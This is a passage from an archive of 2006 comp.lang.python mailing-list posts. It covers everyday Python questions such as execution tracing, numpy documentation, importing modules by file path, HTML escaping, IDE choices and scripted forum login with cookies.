a = atom + 'aa'
m = atom + 'ma'
atomsmasses[a]=m
Xaa = a.strip('\'')
Xma = m.strip('\'')
Xma = pt.get(atom)
if DS1v.get(atom) != None:
Xaa = DS1v.get(atom)
else:
Xaa = 0
return Xaa, Xma

Caa, Cma = monoVarcalc('C')
Oaa, Oma = monoVarcalc('O')
Haa, Hma = monoVarcalc('H')
Naa, Nma = monoVarcalc('N')
Saa, Sma = monoVarcalc('S')
Claa, Clma = monoVarcalc('Cl')
Braa, Brma = monoVarcalc('Br')
Znaa, Znma = monoVarcalc('Zn')



i think? :)
thanks

a

-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366 



From fumanchu at amor.org  Fri Oct 27 12:13:09 2006
From: fumanchu at amor.org (fumanchu)
Date: 27 Oct 2006 09:13:09 -0700
Subject: Tracing the execution of scripts?
References: <6ImdnTsrrZ7x-9zYnZ2dnUVZ_tidnZ2d@comcast.com>
	<ehs4bt$1b8$1@kohl.informatik.uni-bremen.de>
Message-ID: <1161965589.099791.293730@e3g2000cwe.googlegroups.com>

Stephan Kuhagen wrote:
> "Michael B. Trausch" <"mike$#at^&nospam!%trauschus"> wrote:
>
> > Basically, is there something that will log every line of Python code
> > executed, in its order of execution, to a text file so that I can see
> > what is (or isn't) happening that I am expecting?
>
> Python itself can do this for you. A __VERY__ simple approach:
> ...
> Additionally, if it should work with threads, you must take care
> that every thread gets its own output file.

Or be differentiated *somehow*. My pyconquer module tabs each thread's
activity into swimlanes, so you can even see when each thread starts,
obtains/releases the GIL, and stops. See the longer example here:
http://projects.amor.org/misc/wiki/PyConquer


Robert Brewer
System Architect
Amor Ministries
fumanchu at amor.org



From pine508 at hotmail.com  Thu Oct 26 15:59:01 2006
From: pine508 at hotmail.com (Chelonian)
Date: 26 Oct 2006 12:59:01 -0700
Subject: my first software
References: <1161866381.967287.30490@m7g2000cwm.googlegroups.com>
Message-ID: <1161892741.305570.114550@e3g2000cwe.googlegroups.com>

FS.Jason at gmail.com wrote:
> I am a beginner of programming and started to learn Python a week ago.
> last 3 days, i write this little tool for Renju...

Tell you what, I will trade you my fluent English for your ability to
write that in 3 days as a beginning programmer who started learning
Python a week ago.  As a true beginner to programming, I was about to
bake myself a cake when I was able to simply open a text file. Are you
on massive smart drugs or is my water tainted or what?  :)

I am always amazed at what is considered a "beginner" on this
list...[slurks back off into true beginnerdom]



From greg.landrum at gmail.com  Wed Oct  4 13:53:18 2006
From: greg.landrum at gmail.com (greg.landrum at gmail.com)
Date: 4 Oct 2006 10:53:18 -0700
Subject: switching to numpy and failing, a user story
In-Reply-To: <mailman.1238.1159947549.10491.python-list@python.org>
References: <1159940670.808128.312270@i3g2000cwc.googlegroups.com>
	<mailman.1238.1159947549.10491.python-list@python.org>
Message-ID: <1159984398.088012.209640@k70g2000cwa.googlegroups.com>


Travis E. Oliphant wrote:
> greg.landrum at gmail.com wrote:
> > - I guess I should just buy the documentation. I don't like this idea,
> > because I think it's counter-productive to the project to have payware
> > docs (would Python be successful if you had to buy the documentation? I
> > don't think so), but that's the way this project goes.
>
> It's probably better to call it "complete documentation."  Normal
> open-source documentation is available from http://www.scipy.org.  There
> are lots of people who have helped it.  I had to do something to at
> least pretend to justify the time NumPy took me to the people who care
> about how I spend my time (including my family).   This was the best I
> could come up with.

Given the quality of python's (free) documentation and how good it's
been for a very long time, it's bit ironic to be using the phrase
"normal open-source documentation" on this mailing list. Numeric
python, which numpy aspires to be a replacement for, has perfectly
reasonable documentation. It wasn't perfect, but it told you pretty
much everything you needed to know to get started, use the system, and
build extension modules. I guess this set my expectations for NumPy.

> Or just ask on the mailing lists, use the numpy.oldnumeric interface
> (the differences are all documented in the first few pages of my book
> which is available for free now).

"Ask on the mailing lists" is viable for the occasional question or
detail, but it's not really an efficient way to get started with a
system. At least not for me. But that's fine, I have something that
works (numeric), and I can do what I need to do there.

-greg



From bearophileHUGS at lycos.com  Mon Oct  2 13:17:19 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 2 Oct 2006 10:17:19 -0700
Subject: How to coerce a list of vars into a new type?
In-Reply-To: <mailman.1113.1159809093.10491.python-list@python.org>
References: <slrnei29um.8ds.matt@mwilson.umlcoop.net>
	<1159803031.530669.105050@k70g2000cwa.googlegroups.com>
	<mailman.1113.1159809093.10491.python-list@python.org>
Message-ID: <1159809439.409720.105860@m73g2000cwd.googlegroups.com>

Me:
> > def f(a, b, c):
> >     map(int, [a, b, c])
> >     ...code...

Robert Kern:
> That won't do anything since the names a, b, and c are never rebound.

I think you are wrong. Try to give a "35.0" or a "hello" to that
function f, and see the results.

What it does is to: "verify that three parameters can all be converted
into integers, but it doesn't modify the parameters themselves" as the
OP asked.

Bye,
bearophile



From no-spam at no-spam-no-spam.com  Thu Oct 26 16:22:27 2006
From: no-spam at no-spam-no-spam.com (robert)
Date: Thu, 26 Oct 2006 22:22:27 +0200
Subject: conditional computation
In-Reply-To: <1161893246.184899.169330@h48g2000cwc.googlegroups.com>
References: <ehr2bu$24l9$1@ulysses.news.tiscali.de>
	<1161893246.184899.169330@h48g2000cwc.googlegroups.com>
Message-ID: <ehr5e5$252h$1@ulysses.news.tiscali.de>

Mike Kent wrote:
> robert wrote:
>> I want to use a computation cache scheme like
>>
>>
>> 	o = CACHECOMPUTE  complex-key-expr  expensive-calc-expr
>>
>>
>> frequently and elegantly without writing complex-key-expr or expensive-calc-expr twice.
>> So its ugly:
>>
>> 	_=complex-key-expr; o=cache.get(_) or cache.setdefault(_,expensive-calc-expr)
>>
>> Any ideas?
>>
>> -robert
> 
> Your question is a bit terse, so my answer might not be spot on for it,
> but it sounds like you want what is typically called 'memoization',
> whereby a function caches its expensive-to-calculate return values,
> where the cache is keyed by the function arguments.
> 
> See:
> http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52201
> and various other implimentations in the Cookbook for details.
> 

thanks, yes, but the challenge was to hook expressions for memoizing ad hoc. See above solution.


From sachinpunjabi at gmail.com  Mon Oct 30 05:54:34 2006
From: sachinpunjabi at gmail.com (Sachin Punjabi)
Date: 30 Oct 2006 02:54:34 -0800
Subject: Lookuperror : unknown encoding : utf-8
In-Reply-To: <1162200427.209299.4920@m73g2000cwd.googlegroups.com>
References: <1162193424.290540.102910@h48g2000cwc.googlegroups.com>
	<1162194168.044962.262720@b28g2000cwb.googlegroups.com>
	<1162196598.260229.224100@e3g2000cwe.googlegroups.com>
	<mailman.1471.1162196999.11739.python-list@python.org>
	<1162197440.574405.195010@m7g2000cwm.googlegroups.com>
	<1162198497.288698.244940@k70g2000cwa.googlegroups.com>
	<1162199750.797149.317970@m7g2000cwm.googlegroups.com>
	<1162200427.209299.4920@m73g2000cwd.googlegroups.com>
Message-ID: <1162205674.235865.252570@m73g2000cwd.googlegroups.com>



On Oct 30, 2:27 pm, "Leo Kislov" <Leo.Kis... at gmail.com> wrote:
> Sachin Punjabi wrote:
> > I installed it again but it makes no difference. It still throws me
> > error for LookUp Error: unknown encoding : utf-8.Most likely you're not using the new python, you're still running old
> one.
>
>   -- Leo

Actually, I have placed the exe created from python in seperate folder
other than Python root folder. Is this the cause of the problem but I
had set Path to C:\Python24\ in Environment Variables.

Sachin.



From mail at microcorp.co.za  Sun Oct 15 02:33:40 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Sun, 15 Oct 2006 08:33:40 +0200
Subject: Can I set up a timed callback without Tkinter or twisted
	orsomething?
References: <mailman.512.1160840172.11739.python-list@python.org>
	<k28Yg.27583$Go3.17846@dukeread05>
Message-ID: <00c701c6f027$e98f20e0$03000080@hendrik>


"hg" <hg at nospam.com> wrote:


> Hendrik van Rooyen wrote:
> > Hi,
> >
> > I want to do the equivalent of the after thingy in tkinter - setting up in
> > effect a timed call back.
> >
> > My use case is as a "supervisory" timer - I want to set up an alarm, which I
> > want to cancel if the expected occurrence occurs - but its not a GUI app.
> >
> > My googling gets a lot of stuff pointing to optparse...
> >
> > Does the standard lib have anything like this?
> >
> > - Hendrik
> >
>
> http://python.active-venture.com/lib/timer-objects.html
>
 Thanks - will check it out - Hendrik



From mike$#at^&nospam!%trauschus  Thu Oct 26 14:55:35 2006
From: mike$#at^&nospam!%trauschus (Michael B. Trausch)
Date: Thu, 26 Oct 2006 14:55:35 -0400
Subject: which one of these is better?
In-Reply-To: <BR60h.167$1n3.4240@news.tufts.edu>
References: <BR60h.167$1n3.4240@news.tufts.edu>
Message-ID: <Yu-dnbqskNs0mdzYnZ2dnUVZ_q-dnZ2d@comcast.com>

John Salerno wrote:
>     def create_sql_script(self):
>         try:
>             with open('labtables.sql') as sql_script:
>                 return sql_script.read()
>         except IOError:
>             wx.MessageBox('Could not locate the file "labtables.sql"',
>                           'File Not Found')
> 

I can't comment on this, because it won't work in my implemention of
Python, I don't think.

> 
> OR
> 
> 
>     def create_sql_script(self):
>         try:
>             f = open('labtables.sql')
>             sql_script = f.read()
>         except IOError:
>             wx.MessageBox('Could not locate the file "labtables.sql"',
>                           'File Not Found')
>         finally:
>             f.close()
> 

Not really ?ber-qualified to say anything, but I think that the
following would be better:

try:
	f = open('file.sql')
	script = f.read()
	f.close()
except IOError:
	wx.MessageBox('Message', 'Message Title')

> 
> Do they both do the same thing?
>

Not sure about the with-- I just went to read the PEP on it, and it
confused me greatly.  :-)  So, I don't know.

	-- Mike


From fredrik at pythonware.com  Tue Oct 10 10:33:52 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 10 Oct 2006 16:33:52 +0200
Subject: Using the imp module
References: <1160487276.256447.187000@i42g2000cwa.googlegroups.com><mailman.212.1160488524.11739.python-list@python.org>
	<1160490031.724373.8230@k70g2000cwa.googlegroups.com>
Message-ID: <eggb0j$ann$1@sea.gmane.org>

Claus Tondering wrote:

> Thank you, I can use that in some cases. However, I need to import a
> file that is not in the load path.

that's pretty straightforward:

    path = list(sys.path)
    sys.path.insert(0, "directory")
    try:
        module = __import__("module")
    finally:
        sys.path[:] = path # restore

or, often as useful,

    namespace = {}
    execfile("directory/module.py", namespace)

the latter executes the external code everything you run it (unlike import,
which uses the sys.modules cache), and puts everything defined by the
external script into the given dictionary.

to import all that into your own module, you can do:

    globals().update(namespace)

for extra bonus, you may want to check the __all__ attribute, and if that's
not present, filter out anything that starts with an underscore:

    all_names = namespace.get("__all__")
    if all_names is None:
        all_names = (key for key in namespace where key[0] != "_")
    my_namespace = globals()
    for name in all_names:
        my_namespace[name] = namespace[name]

</F> 





From sjmachin at lexicon.net  Sun Oct  8 08:38:11 2006
From: sjmachin at lexicon.net (John Machin)
Date: 8 Oct 2006 05:38:11 -0700
Subject: Names changed to protect the guilty
In-Reply-To: <egapno$sq9$1@lust.ihug.co.nz>
References: <eg6opn$7oj$1@panix3.panix.com>
	<1160182951.812677.178750@i42g2000cwa.googlegroups.com>
	<1160183076.034356.292780@i3g2000cwc.googlegroups.com>
	<1160184574.708331.78400@i3g2000cwc.googlegroups.com>
	<pan.2006.10.07.11.58.31.585485@REMOVE.THIS.cybersource.com.au>
	<1160222386.410987.230630@b28g2000cwb.googlegroups.com>
	<egapno$sq9$1@lust.ihug.co.nz>
Message-ID: <1160311091.330696.278720@h48g2000cwc.googlegroups.com>


Lawrence D'Oliveiro wrote:
> In message <1160222386.410987.230630 at b28g2000cwb.googlegroups.com>, John
> Machin wrote:
>
> >
> > Steven D'Aprano wrote:
> >> On Fri, 06 Oct 2006 18:29:34 -0700, John Machin wrote:
> >>
> >> >
> >> > MonkeeSage wrote:
> >> >> On Oct 6, 8:02 pm, "MonkeeSage" <MonkeeS... at gmail.com> wrote:
> >> >> > it is clearer to you to make the condition explicit ("blah not
> >> >> > False"),
> >> >>
> >> >> "blah not False" -> "blah is False"
> >> >
> >> > Whichever way your team wants to interpret it, d00d.
> >> >
> >> > Please consider whether you should be writing "(blah is False) is
> >> > True", that would be more explicit.
> >>
> >> Puh-lease! Get it right!
> >>
> >> It should be "((blah is False) is True) is True".
> >>
> >
> > Yes, but it stops after one more iteration. "What I tell you three
> > times is true" -- the Bellman, "The Hunting of the Snark", by Lewis
> > Carroll.
> 
> But that was only said once, wasn't it?



From skip at pobox.com  Tue Oct 10 12:44:50 2006
From: skip at pobox.com (skip at pobox.com)
Date: Tue, 10 Oct 2006 11:44:50 -0500
Subject: Python component model
In-Reply-To: <zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>
References: <W5wWg.7118$Y24.2917@newsread4.news.pas.earthlink.net>
	<452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net>
	<UVDWg.12152$UG4.2954@newsread2.news.pas.earthlink.net>
	<1160467516.602655.169920@c28g2000cwb.googlegroups.com>
	<mailman.186.1160469729.11739.python-list@python.org>
	<OZMWg.12229$UG4.10400@newsread2.news.pas.earthlink.net>
	<mailman.209.1160486725.11739.python-list@python.org>
	<zVPWg.9708$o71.4217@newsread3.news.pas.earthlink.net>
Message-ID: <17707.52738.438458.21917@montanaro.dyndns.org>


    Edward> My OP was just to query whether a component model existed for
    Edward> Python, like JavaBeans for Java or .Net for C#, C++/CLI
    Edward> etc.

For those of us who've never used Java, .Net or C++/CLI, a more concrete
description of what you were after from the beginning would have been
helpful.

Skip


From fredrik at pythonware.com  Tue Oct 31 07:28:00 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 13:28:00 +0100
Subject: How can I import a script with an arbitrary name ?
In-Reply-To: <pan.2006.10.31.12.17.37.929467@REMOVE.THIS.cybersource.com.au>
References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com>	<mailman.1513.1162252870.11739.python-list@python.org>	<pan.2006.10.31.11.23.15.574722@REMOVE.THIS.cybersource.com.au>	<mailman.1540.1162295666.11739.python-list@python.org>
	<pan.2006.10.31.12.17.37.929467@REMOVE.THIS.cybersource.com.au>
Message-ID: <ei7fgf$e7t$1@sea.gmane.org>

Steven D'Aprano wrote:

> I'm not arguing, you could very well be right, but I'm just curious what
> part of the OP's post led you to believe he needed to specify an absolute
> filename. Unless I'm missing a second post, he certainly never suggested
> that his scripts weren't in the Python path, or that he couldn't add their
> location to the path.

the fact that he's using dashes in the module name might be a hint, though.

in current versions, __import__ doesn't care as long as the file has
the right extension, but import requires valid Python identifiers, for 
obvious reasons.

execfile doesn't care about any part of the filename, of course (and if 
you replace it with exec, you don't even have to read the script from a 
file).

</F>



From andre.naess at gmail.com  Fri Oct  6 15:59:31 2006
From: andre.naess at gmail.com (andre.naess at gmail.com)
Date: 6 Oct 2006 12:59:31 -0700
Subject: Dumping the state of a deadlocked process
Message-ID: <1160164771.210372.141120@h48g2000cwc.googlegroups.com>

Hi all

I'm currently having some issues with a process getting deadlocked. The
problem is that the only way I can seem to find information about where
it deadlocks is by making a wild guess, insert a pdb.set_trace() before
this point, and then step until it locks up, hoping that I've guessed
right.

The frustrating part is that most of the time my guesses are wrong.

It would be really nice if I could send the python process some signal
which would cause it to print the current stacktrace and exit
immediately. That way I would quickly be able to pinpoint where in the
code the deadlock happens. Java has a somewhat similar feature where
you can send a running VM process a SIGQUIT, to which it will respond
by dumping all current threads and lots of other information on stdout.

Is this possible somehow?



From saikrishbe at gmail.com  Sat Oct 21 13:15:46 2006
From: saikrishbe at gmail.com (Sai Krishna M)
Date: Sat, 21 Oct 2006 22:45:46 +0530
Subject: Screen capture on Linux
In-Reply-To: <83e8215e0610211005k53651a49y8cf5f7802bc9eb54@mail.gmail.com>
References: <83e8215e0610211005k53651a49y8cf5f7802bc9eb54@mail.gmail.com>
Message-ID: <6559fb300610211015q617c7312w288895bb1e3151c7@mail.gmail.com>

On 10/21/06, Paolo Pantaleo <paolopantaleo at gmail.com> wrote:
> Hi,
>
> I need to capture a screen snapshot in Linux. PIL has a module

Its defaultly provided in the 'actions' menu of the OS.

> IageGrab, but in the free version it only works under Windows. Is
> there any package to capture the screen on Linux?


-- 
I love Freedom


From Roberto.Bonvallet at cern.ch  Thu Oct 19 08:19:52 2006
From: Roberto.Bonvallet at cern.ch (Roberto Bonvallet)
Date: Thu, 19 Oct 2006 12:19:52 +0000 (UTC)
Subject: More Noob Questions
References: <1161193249.636093.206690@e3g2000cwe.googlegroups.com>
Message-ID: <eh7qh8$jfk$1@cernne03.cern.ch>

Omar wrote:
> more to come!

Please, use a more meaningful subject next time, like "Integration of
Python and Flash" or "Where can I find vido tutorials".  That way it will
be easier to people that knows about the subject to find your message and
answer you.

And please think of us, non-native English speakers, that don't know slang
words like "noob" that don't even appear in the dictionaries and don't add
anything to your question.

Cheers,
-- 
Roberto Bonvallet


From fredrik at pythonware.com  Thu Oct  5 02:18:33 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 05 Oct 2006 08:18:33 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eg27ml$ff6$1@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>	<mailman.1146.1159866456.10491.python-list@python.org>	<gzJUg.134225$zy5.1829430@twister1.libero.it>	<452410E9.9040403@v.loewis.de>	<TnVUg.135451$zy5.1833460@twister1.libero.it>	<1159997348.228622.246410@h48g2000cwc.googlegroups.com>	<87hcyjel70.fsf@benfinney.id.au>
	<eg27ml$ff6$1@sea.gmane.org>
Message-ID: <eg283q$gjl$1@sea.gmane.org>

Steve Holden wrote:

> You appear to be prepared to go to any length short of providing effort 
> to support the open source tracker.

http://www.userland.com/whatIsStopEnergy

</F>



From http  Wed Oct 25 15:20:53 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 12:20:53 -0700
Subject: question about True values
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<1161803802.110116.127470@m7g2000cwm.googlegroups.com>
Message-ID: <7xvem8gq22.fsf@ruckus.brouhaha.com>

"John Coleman" <jcoleman at franciscan.edu> writes:
> > then "x == 3" is false, but "int(x) == 3" is true.
> But then why is 3.0 == 3 true? They are different types.

The 3 gets converted to float, like when you say 

  x = 3.1 + 3

the result is 6.1.


From ram0812 at hotmail.com  Tue Oct  3 08:06:24 2006
From: ram0812 at hotmail.com (Raja Raman Sundararajan)
Date: 3 Oct 2006 05:06:24 -0700
Subject: Overriding builtin getattr method
In-Reply-To: <4oene2Fdj7neU1@uni-berlin.de>
References: <1159863862.889561.325340@m73g2000cwd.googlegroups.com>
	<1159864051.436175.289210@b28g2000cwb.googlegroups.com>
	<4oene2Fdj7neU1@uni-berlin.de>
Message-ID: <1159877184.239284.93160@h48g2000cwc.googlegroups.com>

Hello Gabriel Genellina  and Diez B. Roggisch,
    Thanks for sharing your opinions. I agree with Gabriel when he
talks about the separation between the presentation and the DB level
access and the drawbacks of introducing character manipulation. The
problem that I am facing right now is that the presentation layer uses
several different page rendering machines (about 12).
Some of them use the escaping techniques that presents browser reserved
characters to be  "unrunnable" <,> we just some examples, so far so
great. But the other presentation layer engines(about 9) used are basic
(optimized for fast rendering) and do not use such filtering/encoding
mechanisms. Since the amount of files that is used by the "basic"
rendering machines are quite high, I am forced to fix the problem in a
much lower level.

I have found a work around for it...since the pages presented by the
basic rendering machines knows about objects fetched from the DB and
the type of request(which presentation engine to use) generated, I
collect information about these in a struct. This struct also contains
information about the level of encoding needed.

I overrode __getattribute__ method (which is always called when
one fetches an attribute of an object) in the base class and introduced
encoding level in the class. The __getattribute__ then checks for the
level of encoding needed depending on the infor from the struct and
returns the encoded data to the presentation layer when needed. The
business object or the functional layer is unaffected as the default
value returned by the __getattribute__ is the unencoded data from the
DB.

Raja


Diez B. Roggisch skrev:

> >>     I have data stored in the database which has special characters
> >> like <, > etc.
> >> Case 1: Whenever I wanted to present the output to a browser
> >>       I need to escape these special characters into the browser
> >> equivalent like &lt;  &gt; etc.( for example by using the cgi module)
> >> Case 2: Whenever I wanted to present the output to some client other
> >> than a browser, I wanted to present the data as it is stored in the
> >> database.
> >>
> >> For doing this I thought of overriding the __builtin__.__getattr__
> >> method.
> >> I am wondering if there is any other way of achieving this. I have
> >> loads of files that get the attribute values of objects stored in the
> >> database and I do not want to manually change the way of DB access in
> >> those files. I rather prefer a centralized way to achieve this.
>
> The centralized approach to this is certainly not achieved by
> overloading getattr alone - because even if it was possible to do so
> (which it isn't), the implementation needed a way to know when to use
> escaping or not. Which would be signaled by some means, e.g. a
> thread-local variable or even a global (shudder).
>
> This signal gets set in the code that decides that it wants the data
> escaped - or not. And thus the code looks like this:
>
> needs_escaping()
> work_with_objects()
> no_escaping_anymore()
>
> But that is fragile, think of work_with_objects() throwing an exception
> and the no_escaping_anymore() isn't called again.
>
> So the better approach is to gather the data as it is, and when you
> transform it to something that requires escaping, do it there.
>
> That means: the way to do it is to use one of the gazillion web
> templating systems that already do this escaping for you.
> 
> Diez



From DustanGroups at gmail.com  Sun Oct 15 08:42:55 2006
From: DustanGroups at gmail.com (Dustan)
Date: 15 Oct 2006 05:42:55 -0700
Subject: Reverse string-formatting (maybe?)
In-Reply-To: <egqoee$i81$03$1@news.t-online.com>
References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com>
	<egqoee$i81$03$1@news.t-online.com>
Message-ID: <1160916174.892851.39730@e3g2000cwe.googlegroups.com>


Peter Otten wrote:
> Dustan wrote:
>
> > Is there any builtin function or module with a function similar to my
> > made-up, not-written deformat function as follows? I can't imagine it
> > would be too easy to write, but possible...
> >
> >>>> template = 'I am %s, and he %s last %s.'
> >>>> values = ('coding', "coded', 'week')
> >>>> formatted = template % values
> >>>> formatted
> > 'I am coding, and he coded last week.'
> >>>> deformat(formatted, template)
> > ('coding', 'coded', 'week')
> >
> > expanded (for better visual):
> >>>> deformat('I am coding, and he coded last week.', 'I am %s, and he %s
> >>>> last %s.')
> > ('coding', 'coded', 'week')
> >
> > It would return a tuple of strings, since it has no way of telling what
> > the original type of each item was.
> >
> >
> > Any input? I've looked through the documentation of the string module
> > and re module, did a search of the documentation and a search of this
> > group, and come up empty-handed.
>
> Simple, but unreliable:
>
> >>> import re
> >>> template = "I am %s, and he %s last %s."
> >>> values = ("coding", "coded", "week")
> >>> formatted = template % values
> >>> def deformat(formatted, template):
> ...     r = re.compile("(.*)".join(template.split("%s")))
> ...     return r.match(formatted).groups()
> ...
> >>> deformat(formatted, template)
> ('coding', 'coded', 'week')
>
> Peter

Trying to figure out the 'unreliable' part of your statement...

I'm sure 2 '%s' characters in a row would be a bad idea, and if you
have similar expressions for the '%s' characters within as well as in
the neighborhood of the '%s', that would cause difficulty. Is there any
other reason it might not work properly?

My template outside of the '%s' characters contains only commas and
spaces, and within, neither commas nor spaces. Given that information,
is there any reason it might not work properly?



From kosh at aesaeion.com  Fri Oct 13 12:57:06 2006
From: kosh at aesaeion.com (William Heymann)
Date: Fri, 13 Oct 2006 10:57:06 -0600
Subject: Best IDE?
In-Reply-To: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
References: <1160749749.140484.97990@f16g2000cwb.googlegroups.com>
Message-ID: <200610131057.06661.kosh@aesaeion.com>

On Friday 13 October 2006 08:29, Ahmer wrote:
> What do you guys use?
Kdevelop 3
> Why?
It has good project management, good highlighting and since it is a kde app it 
supports ioslaves (means I can work with a resource from any location 
trasnparently like opening up files via sftp)

> What do you like and hate about it?
I can't think of anything that I hate about it. It has worked fine for me for 
a long time. It starts quickly, doesn't use much memory, the search features 
work well etc. It does pretty much all the things I need and care about.

> What platform(s) is it avalable on?
Anything that will run KDE so pretty much all the unixes.

> How much does it cost?
Nothing

> etc.


From deets at nospam.web.de  Sun Oct  8 08:26:11 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Sun, 08 Oct 2006 14:26:11 +0200
Subject: need some regular expression help
In-Reply-To: <egapnf$9cm$1@mlucom4.urz.uni-halle.de>
References: <1160256609.555007.83170@e3g2000cwe.googlegroups.com>
	<1160258429.883224.285830@i3g2000cwc.googlegroups.com>
	<mailman.40.1160272852.11739.python-list@python.org>
	<1160297390.242124.260770@i3g2000cwc.googlegroups.com>
	<egapnf$9cm$1@mlucom4.urz.uni-halle.de>
Message-ID: <4os933Fg13j8U1@uni-berlin.de>

Mirco Wahab schrieb:
> Thus spoke Diez B. Roggisch (on 2006-10-08 10:49):
>> Certainly true, and it always gives me a hard time because I don't know
>> to which extend a regular expression nowadays might do the job because
>> of these extensions. It was so much easier back in the old times....
> 
> Right, in perl, this would be a no-brainer,
> its documented all over the place, like:
> 
>    my $re;
> 
>    $re = qr{
>             (?:
>               (?> [^\\()]+ | \\. )
>                |
>              \( (??{ $re }) \)
>             )*
>             }xs;
> 
> where you have a 'delayed execution'
> of the
> 
>   (??{ $re })
> 
> which in the end makes the whole a thing
> recursive one, it gets expanded and
> executed if the match finds its way
> to it.
> 
> Above regex will match balanced parens,
> as in:
> 
>    my $good = 'a + (b / (c - 2)) * (d ^ (e+f))  ';
>    my $bad1 = 'a + (b / (c - 2)  * (d ^ (e+f))  ';
>    my $bad2 = 'a + (b / (c - 2)) * (d) ^ (e+f) )';
> 
> if you do:
> 
>    print "ok \n" if $good =~ /^$re$/;
>    print "ok \n" if $bad1 =~ /^$re$/;
>    print "ok \n" if $bad2 =~ /^$re$/;
> 
> 
> This in some depth documented e.g. in
> http://japhy.perlmonk.org/articles/tpj/2004-summer.html
> (topic: Recursive Regexes)

That clearly is a recursive grammar rule, and thus it can't be regular 
anymore :) But first of all, I find it ugly - the clean separation of 
lexical and syntactical analysis is better here, IMHO - and secondly, 
what are the properties of that parsing? Is it LL(k), LR(k), backtracking?

Diez


From deets at nospam.web.de  Tue Oct  3 05:05:07 2006
From: deets at nospam.web.de (Diez B. Roggisch)
Date: Tue, 03 Oct 2006 11:05:07 +0200
Subject: Overriding builtin getattr method
In-Reply-To: <1159864051.436175.289210@b28g2000cwb.googlegroups.com>
References: <1159863862.889561.325340@m73g2000cwd.googlegroups.com>
	<1159864051.436175.289210@b28g2000cwb.googlegroups.com>
Message-ID: <4oene2Fdj7neU1@uni-berlin.de>

>>     I have data stored in the database which has special characters
>> like <, > etc.
>> Case 1: Whenever I wanted to present the output to a browser
>>       I need to escape these special characters into the browser
>> equivalent like &lt;  &gt; etc.( for example by using the cgi module)
>> Case 2: Whenever I wanted to present the output to some client other
>> than a browser, I wanted to present the data as it is stored in the
>> database.
>>
>> For doing this I thought of overriding the __builtin__.__getattr__
>> method.
>> I am wondering if there is any other way of achieving this. I have
>> loads of files that get the attribute values of objects stored in the
>> database and I do not want to manually change the way of DB access in
>> those files. I rather prefer a centralized way to achieve this.

The centralized approach to this is certainly not achieved by 
overloading getattr alone - because even if it was possible to do so 
(which it isn't), the implementation needed a way to know when to use 
escaping or not. Which would be signaled by some means, e.g. a 
thread-local variable or even a global (shudder).

This signal gets set in the code that decides that it wants the data 
escaped - or not. And thus the code looks like this:

needs_escaping()
work_with_objects()
no_escaping_anymore()

But that is fragile, think of work_with_objects() throwing an exception 
and the no_escaping_anymore() isn't called again.

So the better approach is to gather the data as it is, and when you 
transform it to something that requires escaping, do it there.

That means: the way to do it is to use one of the gazillion web 
templating systems that already do this escaping for you.

Diez


From zhaodapu at gmail.com  Thu Oct 12 08:38:39 2006
From: zhaodapu at gmail.com (zdp)
Date: 12 Oct 2006 05:38:39 -0700
Subject: How to share session with IE
In-Reply-To: <mailman.231.1160501856.11739.python-list@python.org>
References: <1160479479.825746.320610@k70g2000cwa.googlegroups.com>
	<1160480177.704013.37770@k70g2000cwa.googlegroups.com>
	<mailman.231.1160501856.11739.python-list@python.org>
Message-ID: <1160656719.706895.138670@i42g2000cwa.googlegroups.com>

I found some similar topics in the newsgroup and get some ideas from
them.
http://groups.google.com/group/comp.lang.python/browse_thread/thread/2fe0be6c386adce4
http://groups.google.com/group/comp.lang.python/browse_thread/thread/a51cec8747f64619

According to all you suggestions, there are at least two ways to get my
result.

1. Use the cookie of IE, so I don't need to code to logon. That means I
must use ClientCookie. I found some example in the docs and the
newsgroup. Below is some code based on the docs of ClientCookie. But
the page I get is still the page told me must login ( I CAN get the
right page in IE).

    import ClientCookie, urllib2

    url_string="http://www.targetsite.com/bbs/viewthread.php?tid=12345"
   #the page I want to get

    cj = ClientCookie.MSIECookieJar(delayload=True)
    cj.load_from_registry()
    print cj          #I want to know what I get

    opener =
ClientCookie.build_opener(ClientCookie.HTTPCookieProcessor(cj))
    ClientCookie.install_opener(opener)
    f = ClientCookie.urlopen(url_string)
    print f.read()          # NOT the right page html


2. Logon myself by python. First, I access the login page and submit
the form of username and password. The form has many fields other than
username and passwd, so the dict "data" has all the fields even if it's
hide. Then, if the login succeed, I can get my page use the opener with
CookieJar.

    import urllib2, cookielib

    url_string="http://www.targetsite.com/bbs/viewthread.php?tid=12345"
   #the page I want to get
    url_login="http://www.targetsite.com/bbs/logging.php?action=login"
     #the login page

    headers =  {'User-agent' : 'Mozilla/4.0 (compatible; MSIE 5.5;
Windows NT)'}
    cj = cookielib.CookieJar()
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))

    urllib2.install_opener(opener)
    data = {
        'formhash': '3bd8bc0a',
        "referer" : "index.php",
        "loginfield": "username",
        'username': 'myname',
        'password': 'mypass',
        "questionid": 0,
        "answer":"",
        "cookietime" : "315360000",
        "loginmode":"",
        "styleid":""
        }
    req=urllib2.Request(url_login, urllib.urlencode(data), headers)
    f = opener.open(req)
    print req.get_data()
    print req.header_items()
    print f.info()
    print f.read()

    ## if login succeed, I can get my page
    f=opener.open( url_string)


However, both ways didn't work for me. I don't know what's wrong. If
it's because the server page check the header or the submit of the form
is wrong?

I didn't study Mechanize module yet. I want a solution as simple as
possible for distribution reason.

